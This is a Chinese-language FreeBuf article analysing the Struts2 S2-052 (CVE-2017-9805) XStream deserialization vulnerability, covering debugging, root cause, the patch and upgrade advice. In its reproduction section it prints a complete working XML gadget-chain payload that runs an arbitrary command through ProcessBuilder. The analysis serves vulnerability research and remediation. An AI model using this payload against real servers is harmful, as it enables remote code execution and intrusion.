freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Struts2-052漏洞分析
2019-07-17 19:43:49

前言

2017 年 9 月 5 日,由国外安全研究组织 lgtm.com 的安全研究人员发现的严重漏洞在Apache Struts 2官方发布,漏洞编号为 CVE-2017-9805(S2-052), 攻击者可以传入精心构造的xml数据,远程命令执行。
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程命令执行。
利用条件:使用 REST 插件并在受影响版本范围内。
利用方式:攻击者构建恶意数据包远程利用。
影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

调试环境搭建

1)下载官方源码:
git clone https://github.com/apache/Struts.git
2)切换到2.5.12分支:
git checkout STRUTS_2_5_12
3) 把源码包中src/apps/rest-showcase整个文件夹拷贝出来,新建一个项目
4)用IDEA或者eclipse导入该maven项目
5) debug模式运行后就可以愉快的调试了
8da50717f7898bf33eaefe302295f2e5.png

漏洞原理分析

根据官方公告知道该漏洞出现在 XstreamHandler 类,在 struts2-rest-plugin-2.5.12.jar 包内。
于是查看该类,该类中有一个toObject方法,其作用就是对xml内容进行反序列化。
5ead76f4153cb13d1164e9d79057621f.png
先在此方法内打一个断点,然后构造数据包
f4315825608415d2685701d110423738.png
发送数据包后,会跳到断点处,此时,看到是上层调用栈中是ContentTypeInterceptor调用了该方法
72f30224353229ed31925e051e6b8da7.png
ContentTypeInterceptor类中intercept方法会根据传入的Content-Type的值生成相应的对象,由于我们传入的是application/xml,所以对应生成一个xml的处理对象XStreamHandler。
继续f5,看到执行反序列化的函数unmarshal,在这个函数执行时没有进行数据安全检查,导致远程命令执行。
227328a30b2e1c73bbdafbf4e1018ac5.png
接着进入unmarshal函数内,继续往下调试,AbstractReflectionConverter会一步步解析我们提交的xml标签和值,最终调用poc中代码
e767f1e69d9c34b9f79d2437cec288d6.png

漏洞复现

在页面http://localhost:8080//struts2-rest-showcase/orders/3/edit中点击Submit,
816b09313f7dc90d11af504edb249049.png
拦截HTTP请求并将请求体改为POC Payload,同时将Content-Type Header改为application/xml。
payload为:

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
      <flags>0</flags>  
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
        <dataHandler> 
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 
            <is class="javax.crypto.CipherInputStream"> 
              <cipher class="javax.crypto.NullCipher"> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceIterator class="javax.imageio.spi.FilterIterator"> 
                  <iter class="javax.imageio.spi.FilterIterator"> 
                    <iter class="java.util.Collections$EmptyIterator"/>  
                    <next class="java.lang.ProcessBuilder"> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirectErrorStream>false</redirectErrorStream> 
                    </next> 
                  </iter>  
                  <filter class="javax.imageio.ImageIO$ContainsFilter"> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types/> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next class="string">foo</next> 
                </serviceIterator>  
                <lock/> 
              </cipher>  
              <input class="java.lang.ProcessBuilder$NullInputStream"/>  
              <ibuffer/>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </dataSource>  
          <transferFlavors/> 
        </dataHandler>  
        <dataLen>0</dataLen> 
      </value> 
    </jdk.nashorn.internal.objects.NativeString>  
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
  </entry> 
</map>

发送请求后,弹出计算器
3810b8ae21a2fafa7e2e1944d8a046ef.png

补丁

官方补丁,官方的修复方案中, 主要就是将 xml 中的数据白名单化,把 Collection 和 Map,一些基础类,时间类放在白名单中,这样就能阻止 XStream 反序列化的过程中带入一些有害类416a87182134cfa3f029ac2fe3e64a60.png

修复建议

Version 2.3.0 to 2.3.33升级到Struts 2.3.34版本
Version 2.5.0 to 2.5.12升级到Struts 2.5.13版本

参考

https://cwiki.apache.org/confluence/display/WW/S2-052


# struts2漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者